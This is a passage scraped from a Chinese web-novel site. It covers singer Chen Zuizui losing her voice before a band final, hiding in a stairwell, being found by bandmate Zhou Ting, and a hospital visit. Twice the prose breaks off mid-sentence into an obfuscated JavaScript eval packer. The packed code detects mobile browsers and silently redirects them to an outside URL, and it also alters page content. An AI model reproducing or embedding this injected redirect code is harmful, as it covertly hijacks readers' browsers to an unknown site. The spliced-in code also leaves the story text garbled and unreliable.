说完,叶斌跟看自家不成熟的小孩一样wink了陈最最一眼,然后仰头喝了一口水,继续刨没吃完的饭。 陈最最四面环顾,一眼就在人群中找到了那个跟高杆一样鹤立人群的身影,他帅气得仿佛跟周围的人有层壁。 他真的信她…… 后面的队伍演奏完毕,嗨乐队最后以第三名出线。 他们回学校,又在练习室练习到了晚上九点才散。 陈最最今晚睡在宿舍,第二天和周廷他们一起出发。 洗漱完,她撇腿跪在床上,梁雪荞家回家了,李思不知道去哪玩了还没回来,从上次知道李思撒谎后,她们之间疏远了不少。 陈最最躺下有线耳机塞进耳廓,不停循环听着明天要比赛的歌曲。 长时间的轮轴转让她很疲惫了,可她依旧悬着一颗心,把演唱技巧在心里模拟几遍才有准许自己睡觉。 为了清醒,她将脚心抵着墙,凉意从脚底袭来,确实精神了很多。 第五遍结束,她安心罢手,熄灭床头灯准备睡觉。 这时候,微信弹出一条语音了。 “宝~~我回来了,明天去看你比赛啊!” 得知决赛在周日,黎初边周六去做志愿活动拿志愿时长,对陈最最极其自信。 她点开语音,说了一个字:“好。” 话音才落,猛地,嗓子里异物感传来,拇指下意识松开发了出去。 陈最最清了清嗓子,“好……” 声音细小且嘶哑。 她腾地从床上坐起来,颤抖着手摸自己嗓子。 “喂?” 她实力清了清嗓子,有些慌。 “喂?” 每一个字,都感到无比艰难。 陈最最下床猛喝了半瓶水,最后将之归结于嗓子劳累,睡一晚或许就好了。 她也不等李思了,戴上眼罩耳塞强迫自己进入梦乡。 翌日早晨七点的闹钟准时响起,陈最最顶着厚重的黑眼圈醒来。 刚扭身半寸,太阳穴却传来阵阵刺痛,嗓子也跟针戳一般疼。 她尝试了发音,但喉咙传来的干涩无论和多少水都缓解不了。她怎么竭尽全力,嗓子都再发不出来一个词。 这是怎么了...... 晨曦的第一缕阳光穿过树梢,早起图书馆抢座位的人马断断续续从宿舍区走出来。 在这样匆忙的早晨,宿舍区入口的冬青树下却有四个悠闲不急不缓的男生站在那,勾勒出一道亮丽风景线。 张彡朝宿舍区必经的那条小路探头,边说:“搁这点儿了,最最咋还没来?” 周廷低头看了眼表,又看了看从铁门出来的零星人流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072079|163254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眉头轻拧。 叶斌是乐队经理人,拿出手机正准备打电话,微信传来一条消息。 【陈最最:斌哥,我肚子突然有些不舒服,你们先去,不用等我,我缓缓就来。】 叶斌把手机揣回兜里,抬头对周廷询问意见:“最最说她肚子疼,让我们不要等她。” 周廷收回视线,淡淡看了叶斌一眼,沉默少顷,“嗯。”脸上看不出什么情绪,他率先抬步,脚步沉稳:“那走吧。” 音大礼堂内,所有乐队基本都到了,在各自的位置上进行化妆,练习。 比赛就快开始,可陈最最还没到,发消息不回,打电话不接,完全失联。 张彡从外面跑进来,双手抵着腰大喘气,“没瞅见人啊。” 叶斌挂断电话,紧皱眉头:“我找人问她室友,她室友说早上起来就看不见人了。”他看向一贯沉默的周廷,“现在怎么办?这比赛马上开始了,我们可是第二个,没有主唱怎么上?” “最最她怎么了?会不会是出了什么事情才不来的?”闻小云开腔,语气一如既往的善解人意。 叶斌原本还在揉着眉心,突然想到了什么,睁开眼,一副恍然大悟的模样。“我说呢,昨天她忽然问我要是一直学不会摇滚怎么办?”叶斌抵着下牙,冷笑一声嘲讽道:“原来是不想干了,当缩头乌龟临阵脱逃了是吧?” 张彡抬手撞了他一下,“嘿,别搞事儿。” “我有说错吗?”叶斌甩开张彡的手,“早知道当初选她干嘛!” 周廷从手机里仰头,目光平静地停在叶斌脸上:“你是在怪我?” 叶斌滞一秒,呼了口气,回视他认真道:“我没怪你。我相信你的眼光,她确实有天赋。”移开视线,看着其他两个人:“可谁能想到,人大小姐,根本不把我们这个破乐队放在心上。或许,这这就是有钱人的恶趣味?” 张彡闻小云脸色也不怎么好看。 临上场前主唱消失了,每个人心中多少都有点怨气,加上叶斌的冷嘲热讽,论谁都乐观不到哪去。 “喂!你什么意思啊?!” 突然,一声怒吼在礼堂回荡,吸引周围所有人的视线投来。 叶斌扭头,礼堂的侧门旁边,一个留着齐耳短发的女生,手里抱着一捧向日葵,朝他怒气冲冲来。 黎初起了个大早等花店开门,并托音大的朋友带她才进的学校,急赶慢赶好不容易赶上了,可一来就听见最最的队友在揣度她,黎初气不打一出来,看这蜡笔小新单眼皮的男生不顺眼透顶。 叶斌上下扫了黎初一眼:“同学你谁啊?” “煞笔,谁你同学?!”黎初挣开身后音大朋友的手,“你有种把你刚才说的话再说一遍。” 叶斌心里本来就不舒服,现在被人指着鼻子骂,语气也不怎么好:“你这女的有病吧。” 黎初胸膛剧烈起伏,闭上眼睛在心里念了一遍最近刚背的社会主义核心价值观,杀人犯法,杀人犯法。 她冷静了片刻,再睁开眸时,眼底涌上一抹嘲讽,一个一个的审视叶斌、张彡、闻小云,最后停在周廷脸上,讥讽道:“嗤,也不知道最最看上你们这个破乐队什么了。” 黎初说完,把花扔在地上,转身就要走,可没走出几步就停住,她咬牙,倏地扭回身,怒视着他们。 “虽然我不知道最最为什么没有来,” 黎初深深吸了口气,很不甘心为最最抱不平:“但作为她最好的朋友,我想我有必要为她澄清一下。”她目光如炬望向叶斌:“你说最最不把你们放在心上,可是你们不知道,从她知道你们把乐队的未来跟押宝似地压在她身上的时候,我们最最有多开心。她知道自己能力不足,所以假期把自己关在小镇里,每天到音乐教室补习。” 她垂眼盯周廷:“为了不让你失望,她每天上课练习,大晚上还要赶到音乐教室继续练,每天凌晨才睡上觉。呵,是,没错,你们这个乐队确实很破,可她却还是那么努力想要融入你们,嗓子都干到一天要喝好几升水,早上迟到上课打瞌睡被扣学分,我也没听她抱怨半句后悔。” “是,最最今天没有按时到场是她不对。”黎初平静下来了,“但她一定有不能来得原因。作为她的朋友,我为她失礼的行为给你们带来麻烦,向你们道歉。但我绝对不能允许别人质疑她。”说完,她微微颔首转身准备走。 “哟。”毛米洁不知道从哪冒出来,穿一身朋克,画着烟熏妆,“这是在干嘛?呵,唱戏呢?” 所有人都还没从黎初的话里回神,还是素来内向闻小云先反应过来礼貌问好:“米洁姐,你怎么来了?” 毛米洁嚼着口香糖,睨了眼坐在椅子里沉默的周廷,语气散漫:“呵,听说你们缺个主唱?” 闻小云眼睛发亮,“这么说米洁姐你愿意帮我们吗?” 周廷这时回神,抬起头盯着毛米洁,眉心微动。 为什么? 他确信,毛米洁不是乐于帮助别人的人。 毛米洁挑眉:“别用这样的眼神看我,我可不是念什么旧情。”她压下椅子坐进去,低头摆弄自己的指甲,随意慵懒:“陈最最找我来的,看在她的面子上,我可以勉为其难再跟你们合作一首。” “最最?”黎初大步走上来,神色激动:“最最找你了?” 毛米洁抬眉毫不在意地点点头。 “她在哪?” 黎初刚张嘴,一直沉默的周廷开口打断了她。 周廷目光沉沉,看着毛米洁又问了一遍:“她现在在哪里?” 毛米洁一改吊儿郎当的样子,背离开椅子,久久注视周廷的眼睛,须臾,“呵,”她勾唇笑了,“不知道,她把我带进来人就走了。” 那她一定还在音大。 周廷站起身,素来大场合淡定的他此刻脸上写满担忧,他朝叶斌说:“找人问问能不能调出场顺序。” 叶斌现在也明白自己刚才说话过分了,陈最最虽然没来,但是却叫来了毛米洁,不管怎么说,是为了乐队好。叶斌现在内心满是愧疚。他点头,正要去找负责人。 倏尔,一个温婉的女声打破了压抑的气氛。 “调不了的,除非……有人愿意跟你们换。” …… 15. 她 音大是艺术类学校,似乎为了陶冶学生的情操,刻意把校园弄得很欧式,落着螺旋金属的喷泉,沿路边放置的各种雕像,和银杏树叶铺满的大道,充满了浪漫气息。 周廷在礼堂附近跑了好几圈,身体都冒汗了也没有瞧见一点陈最最的影子。 她既叫毛米洁来肯定会等比赛结束出结果,不可能现在就走。 如果礼堂附近没有,那就是在…… 倏然拂面吹来一阵冷风,吹动他的发梢微动,想到某种可能,他猛地掀眼投向了礼堂。 与此同时,礼堂杂物间旁的楼梯间,很偏僻,除了打扫保洁很少有人来。 楼梯间只有一扇窗,昏暗的光线中,一个娇滴滴的粉色小人蜷缩在阶梯上,小窗照进来的光落在她颤抖的肩膀上。 禁闭的爿门外,礼堂的声音悠远传进来。 有了毛米洁的帮忙,乐队肯定进线。 比自己上把握更大。 这样很好……陈最最扣紧手中的润喉糖。 …… 她抬手捻走脸颊上的一滴晶泪。 真的很好吗? 她还是希望现在站在台上的是自己,而不是别人。 地板上,手机被她抛弃,屏幕界面还停留在与周廷的聊天上。 他问她在哪?问了好多次,她都没回。 周廷会怎么她想,他们会不会认为她没担当?爱逃避不负责? 越想越多,越想陈最最就越委屈。 眼泪不知道留了多少。 脑袋疼,眼睛疼,嗓子也疼,她说不出话,连哭都连带着浑身一起疼。 她不知道怎么了,想去医院,想找哥哥,可如果去了就会错过乐队表演。 光透过她身后小方窗在灰尘中行成丁达尔光束,移出一格停在她黑色的小皮鞋旁。 时间不知道过去多久,总感觉很漫长,很漫长。 与寂静之地,她忽然听到沉重而急促的呼吸声。 然后,吱呀尖锐的一声,跟指甲划过黑板磨出的声音一样刺耳,铁做的繁重的爿门被人从外推开。 光透了进来。 她肿着一双水露露的眼睛从膝腘里抬头,光刺痛了双眸。 头顶的声控灯忽闪了两下。 穿过门缝,她看见他紧绷的脸有一瞬间的放松,紧接着,那双常古井无波的黑眸渐渐沉淀了怒。 周廷一步步压向她,门在身后咚的大声关上。 陈最最不敢看他,迅速低下头。 她想问他为什么来这,比赛怎么样?可她不能出声,会露馅。 “陈最最。”周廷的声音很低,却足够在这狭小的空间里让她能听清,“为什么在这?为什么躲着?” 她把下巴埋进衣领,手掐着手狠狠摇头。 “努力那么久付出那么多,为什么找别人而不是自己上?!” 她还是摇头。 “就没什么想解释的吗?”周廷的语气逐渐带上愠怒,“我需要一个理由。” 可她能解释什么呢?现在连话都说不出。 周廷眉头皱成川字,似乎察觉到陈最最的不对劲,他蹲下来平视她:“陈最最,抬头。” “……” 没动。 “抬起头,陈最最。” “……” 周廷伸手:“陈最……” 他的手穿过光束,她也在这个时候听话抬头,早在眼光中蓄意波涛的眼泪等不及溢出眶,没有半点阻拦往下落,最后滴落一双骨节分明的手的虎口处,洇出一朵娇滴滴的水花。 炽热的温度化作岩浆灼烧着,那只指骨分明的手颤抖了一下。 周廷顺着心里的某个声音抬眼,与那双麋鹿般水润的眼对望,头顶的照明灯故障猛烈地扑闪,心猛地被什么扯着,重重往下坠落,摔了个稀巴烂。 心跳快了几分,周廷久违地感到无措,慌神。 他落荒而逃低头,下意识想逃开这样的视线,只是他这一低,就恰好看见陈最最手里捏着的药片。 他神色一变,立马抢过来。 红白的药盒子上赫然写着七个字:布洛芬缓释胶囊。 周廷知道,这是用来止疼的。他重新望向她,眉头紧紧拧着,声音听起来很着急:“你怎么了?” 陈最最咬着下嘴唇的软肉,躲开他有些烫人的视线,她扭头躲,周廷反而靠近,“陈最最。”他的语气已经浮上一抹不耐。 可他口气刚不好,陈最最本来就在崩溃边缘,适得其反,委屈反而一拥而上,眼泪啪嗒啪嗒地往下落,但就是不说话一直摇头推他的肩膀让他走。 就好似天生男人的力气就比女人大,她不管怎么推都推不动他。 楼梯间内陷入长久的寂静,只有他们彼此清晰缠绕的呼吸声。 半晌,周廷抬手紧紧圈住肩膀上两只软乎乎没什么力气的手,他一直看着她,“你想让我去比赛?” 陈最最手在空中卷了卷,他们离得很近,鼻尖萦绕着专属他的淡淡薄荷香,她仰起头,缩了缩下巴。 周廷:“那你要求我。” 她瞳孔一点点睁大,被泪水沾湿的睫毛微微颤抖。 “开口命令我。”他紧接着一字一句,目光炯炯,在昏暗中闪着宝石光亮的眼睛恍若洞察了一切。 她微微启唇,如娇花粉嫩的两瓣微微颤抖,“我......”陈最最下意识焦急说出口,声音嘶哑难听。 表情僵硬在脸上,她才开口就反应过来,开始想要挣脱他。 “你嗓子......”他毫不费力把她拉回来,“你嗓子怎么了?” ……他终于还是知道了。 陈最最放弃逃跑的念头,她低着头,等待着周廷离开。 她唱不了歌了,把她从乐队赶出去吧,然后招新的主唱,就跟之前一样。 她还坐在楼梯上,地板的冰凉楼梯间的阴冷此刻都在往她身体里钻。 好冷。 她双手抱着膝盖把自己叠成两半,紧紧缩着。 …… 长久的无声让这个本就狭小的空间变得更加阴冷。 陈最最等待着,想象中因失望而离开的脚步声却一直未响。 就在她想抬头一看究竟时,她藏在臂窝里的发凉的手腕突然被一双滚烫的大手擒住,“啊。” 那只手的主人使力把她从位置上拽起来,脚还没落地,安全门吱一声打开,风灌了进来,吹到她全是眼泪的脸上,凉意刺骨。 爿门再次关上,咚的一声颤抖,忽闪的照明灯也被关在了身后。 跟着周廷跑出两步后,陈最最终于反应过来,她挣脱他的手停在原地。 手上突然空了,周廷在三步外停住,回头看了一眼,大步走回来就要抓她。 他抓,她躲。 陈最最慌忙拿出手机,在备忘录编辑了一段话:要去哪里? 周廷冷冷扫了一眼:“医院。” 【你陪我去?】 周廷沉默不说话,但眼神已经告诉了她答案。 “不!不行。”她倔强着用着全身的力气开口,嗓子传来刺痛,陈最最猛地咳嗽,眼睛通红地对周廷不断摇头,“比……赛。” 艰难地说出了两个字,差点要了她半条命。 看着陈最最话都说不出的模样,周廷耐心告罄了,他步步紧逼,影子罩向她,“陈最最,不要拿自己的未来开玩笑!” 陈最最怔住了,她从未从未从未在他眼里看见这样的表情,不是气像是怨还有……恨。 她晃了晃头,让自己清醒,也为自己拒绝周廷而打气。 她态度很坚决,又快速在手机里打出一行字:医院我自己可以去,你去比赛! 周廷胸膛起伏着,气到头发丝都在抖,“比赛重要还是你的嗓子重要?!” “比……赛!”她艰难挤出口。 “……” …… 苏大附属医院,耳鼻喉科。 黎初拿着病历表焦急地看成像板上的CT,她看不懂但眼睛已经快把片子戳穿了。 陈最最坐在椅子上,被她挤不得不撑着腿。 给陈最最看病的是一个中年医生,他手肘撑桌面躺靠在椅子上,目光悠然投向CT。 须臾,他推了下黑框眼镜,扭回头的时候差点跟黎初亲上,医生吓得往后仰差点摔倒。 “哎哟。”他拍了拍胸脯问:“小姑娘,凑那么近,看得懂吗?” 黎初眨了眨眼,有些窘迫,“看不懂……但医生,我朋友怎么样?” 陈最最眼睛陡然瞪大。 医生瞥了她一眼,从抽屉里拿出一个试剂盒站起来,身体横在桌子上方,凑在陈最最面前:“张嘴,啊——” 陈最最啊不出来,张着嘴,嗓子嘶吼出野人的声音:“呃——”。 “……” 取了样,医生把棉签放进原液中,接着操作了几下后,他坐回软椅里,洋洋洒洒在陈最最的病历表上划了她看不懂的符号。 几分钟后,他道:“行了,没什么大事,去拿药吧。按照说明,疼的受不了的时候吃两颗止疼药,多休息,多喝水,保证睡眠,过个几天就好了。” 陈最最听不懂,她都说不出话了,吃药了就能好吗? 她拉着黎初的手,无助地仰头看她。 黎初垂头看了可怜的最最一眼,她也觉得很严重,偏偏这个医生说话说一半,瞬间急了:“所以医生,我朋友她到底怎么啦?!你这啥都不说就让吃药,这么严重了吃药能好吗?你要是诊不出来我们去……” “……她阳了。” …… “好啦好啦,也不是什么大事,医生不是说了过几天就好了。”黎初拿着病历表走在她身边一个劲安慰。 周末医院的人跟下饺子一样,一波好不容易走了下一波紧接着又来。 她们挤来挤去的在取药口排着队。 没一会,黎初接到了黎叔叔的电话,被叫走了。 阳了倒也不是什么大病,为了不让陈政聿知道后小题大做,黎初走的时候她刻意交代了一句。 医院的走廊上人很多,但几乎不怎么说话,偶尔只会有几声很小的低语。行人行色匆匆哪怕脚尖挨着脚尖也看不清对面的人。 陈最最排在取药的长队里,无聊刷手机,乐队群里叶斌发消息跟她说,乐队进线了。 她很高兴,回了一个撒花的表情。 紧接着她按灭频幕,在心里轻轻叹了口气。 乐队进线她当然高兴,可她看着周围的人,要么就是有家人爸妈陪着,要么就是有男女朋友陪着,只有她孤零零一个人。 在国外的时候她习惯了没觉得孤独,一个人过节她也没觉得孤独。 可此时此刻,她浑身无力头也疼,礼堂应该还很热闹大家一定都很开心,本来她应该也在的,就忽然觉得有些寂寥,心底空落落的。 眼前忽然从下而上飘过一个绿色的小青蛙气球,定在屋顶。 陈最最收回思绪低头往下看,是一个可爱的小女孩,扎着两个小马尾,抬头盯着气球,眼睛红红的委屈得快要哭了。 陈最最看了一眼四周,人太多了,小女孩的家人她实在不知道是哪一个。 陈最最掀眼瞅她前面长长的队伍,至少排半小时。 唉反正她今天什么都没有,就是时间多,等会儿再重新排也是一样的。 想到这,陈最最果断离开队伍,她走到小姑娘身边朝她笑了笑,然后仰起头盯准绑着气球的白线。 因为孩子手短的原因,那根本来应该有两米的长线被剪成只有几十厘米长。 陈最最168的身高的女生中算高的了,可她还是高估了自己,低估了医院的墙顶。 连着蹦了几下,身体都没有力气了,她还是没有够得着线。 小女孩自知道眼前的漂亮姐姐要帮自己拿回去小绿蛙气球后,看陈最最的眼睛就一直在发光。在这样崇拜期待的目光下,陈最最累死了也得硬着头皮上。 她沉沉吐了口气,盯准头顶上被空调风吹动的白线。 屈膝。 积蓄浑身不多的力气,就要奋力一跳。 可在她即将蹦起的那一刻,头顶压下一只手,把她还没飞起的身体压停。 另一只骨节清晰的从她头顶穿出,食指指结轻轻松松绕了白线两圈,把气球勾了下来。 小女孩笑着在地上蹦跶,陈最最也跟着笑了想给身后的好心人拍手叫好,但这个人还压着自己的头。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072080|163254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她回身,“喂!你……” “你……” 两个人的声音同时响起,陈最最看愣住了。 来的人是周廷,此时他正一手勾着气球,一手压她的圆脑袋。 “学长?你怎么来了?”她眨眨眼,他怎么在这里?比赛结果才出来他怎么会来得那么快,难道是才唱完便来了? 周廷把手拿下来上下扫了她一眼,然后移开视线,蹲了下去,笑着对凑上来,伸手就要拿气球的小女孩,他避开那双小手,柔声说:“下次再遇到困难要主动找大人帮忙,不可以偷偷一个人难过。你要是答应哥哥,那哥哥就把气球还给你。” 陈最最觉得脸有些烫,这话看似对小女孩说,但字字又指桑骂槐一般,句句好像都在说她。 小女孩郑重点头,从周廷手里拿过气球,然后飞快地抬头跟陈最最说了一声:“谢谢姐姐。” 奶呼呼的一声,陈最最心都快化了。 她蹲下来,摸了摸小女孩的头,“不客气,但姐姐没帮上忙,反倒是哥哥帮了你。” 医生给陈最最按了几个穴位,可以说话了,但还没好全,声音比糙汉还粗。 她才说完,小女孩唰地突然红了,肉肉的小脸就跟红苹果一样。 然后,在接下来的一秒里,她看见小女孩的小手轻轻搭上周廷的肩膀。 吧唧一声。 在他脸上落下一个吻。 小女孩跑走了。 什……什么情况? 陈最最盯着周廷淡淡笑着,他完美侧颜上小姑娘刚刚亲的地方,还有水渍。 “……” 她有点醋,盯着那块就是不松眼。 周廷察觉到她的视线,乜她一眼,站了起来,嗓子沉沉:“过来。” 周廷带着她在走廊尽头的窗户边停下,正好有位置,他让她乖乖坐着,周廷脸色不咋好,她不敢不听话。 周廷从陈最最手中抽走病例,再回来的时候,一个快一米九的男人,手里拿着一个装了药的塑料袋,和一纸杯的温水,陈最最脑海里飘过这么一个词:家庭煮夫。 原本还坐在陈最最身边的一对老夫妻离开了,周廷很自然地在她身边坐下,纸杯交到她手上,手指轻轻插过,他的手很暖和,这股温暖透过皮肤寸寸暖进了她的心里。 装了铁栏的窗户没关严,夕阳的光穿过窗户,金光的尾巴正好抓住她白色的匡威和他的黑色匡威,将这个小天地笼起来自成一个天地。 周廷低着头,仔细对着每个药的用量,最后用盒盖装了一次的药递过来,陈最最摊开手,手心因为温水透着盈盈粉色。 周廷把药扣下,陈最最就这水吞下,顺便把水全部喝掉了。 “去哪?学校还是小镇?”周廷边给塑料袋系紧打结,边问。 陈最最想了一下:“我想回家。” 周廷抬头看了她一眼,“嗯,那走吧。” “你是要送我吗?”陈最最在他之后同步站起身,心中有些小雀跃。 周廷回头轻飘飘看她一眼,夕阳的余光照在他侧脸上,漆黑如耀石的眼睛里,很清楚地倒映着她的影子。 “嗯。” 她听见他轻声回应,然后点了点头,转口又说:“还是,你不需要我送?” “不不不!”陈最最立马摆手,脸颊蔓延上一层粉,轻启嘟唇嗫语:“你能来,我很开心。” 周廷眸光闪了一下,又很快恢复,“嗯,走吧。” 望着他离开的背影,陈最最的嘴角不自觉勾了起来,迈着轻快的步子跟了上去。 从医院到古镇的距离,打车不到二十分钟就到了。 不是旅游季,古镇的人很少,路旁的店面关得也很早,街上更是看不见什么人。 陈最最安静走在周廷身边,他们走过一盏接着一盏的路灯,经过一个又一个正打烊回家的小吃摊。 在快要到家门的时候,陈最最问出了困扰了她一路的疑题。 “学长......我听毛米洁说,你不让她上场,为什么?” 她知道乐队进线了,也一直以为是毛米洁帮的忙,直到坐上出租车后,她主动给毛米洁说谢谢,毛米洁却说她并没帮上忙,是周廷最后临时换曲,演奏了一首无主唱的纯伴奏音乐。 他一个人拯救了一个队。 可陈最最没空赞叹他,因为脑里有个小人一直在呱呱叫:他放弃稳妥的法子冒险,一定是为了你! 她以为他会想好一会该如何回答她,却没想他似乎想也没想直接反问她:“对你来说,乐队的定义是什么?” 陈最最紧紧盯着他的下颚线,眉头动了一下,认真思考,须臾语气犹疑试探道:“一起……追逐梦想的人?” “一个乐队,是一个整体。”他侧脸笼在阴影里,淡淡地说,“一个乐队,如果鼓手出了事,其他人可以也应该帮他,一起分担他在歌曲里的部分。” “对吗?”他忽然问。 她扑哧这长睫毛,点头:“……对。” “好,那我再问你。”他忽然扭头垂着眼看她:“如果一个乐队的主唱因故不能上场,那其他人会不会或者应不应该帮她顶上?” 陈最最皱眉:“可我看其他人……” “其他人我管不到,”他打断:“但在我的乐队里,你们每一个都是无可取代的。” 包括她在内,少了谁都不可以。 陈最最的心猛地沉了一下,脚步渐渐慢了下来。 从小她就知道,好东西要花大价钱,想要的东西要勇敢开口,正如如果喜欢一个人,一定要比别人早一步,在这个人身上贴上属于她的标签。 “周廷。”她第一次这么郑重地呼喊他的名字。 因为她脚步放慢,周廷已经走出了五六米远,他不知道什么时候点了一支烟,烟雾缭绕中他回过头来,过眉的头发因为路边的昏黄的灯罩上一层朦胧的纱。 “我......我有一点紧张。这辈子第一次做这个事情,也不知道做得对不对。” 烟雾中,那双漆黑的眼闪过一抹疑惑。 “学长!我要警告你!” “警告我?”他笑了一声,烟头上红色的星火在空中划过一抹弧度。 “对!” “警告我什么?”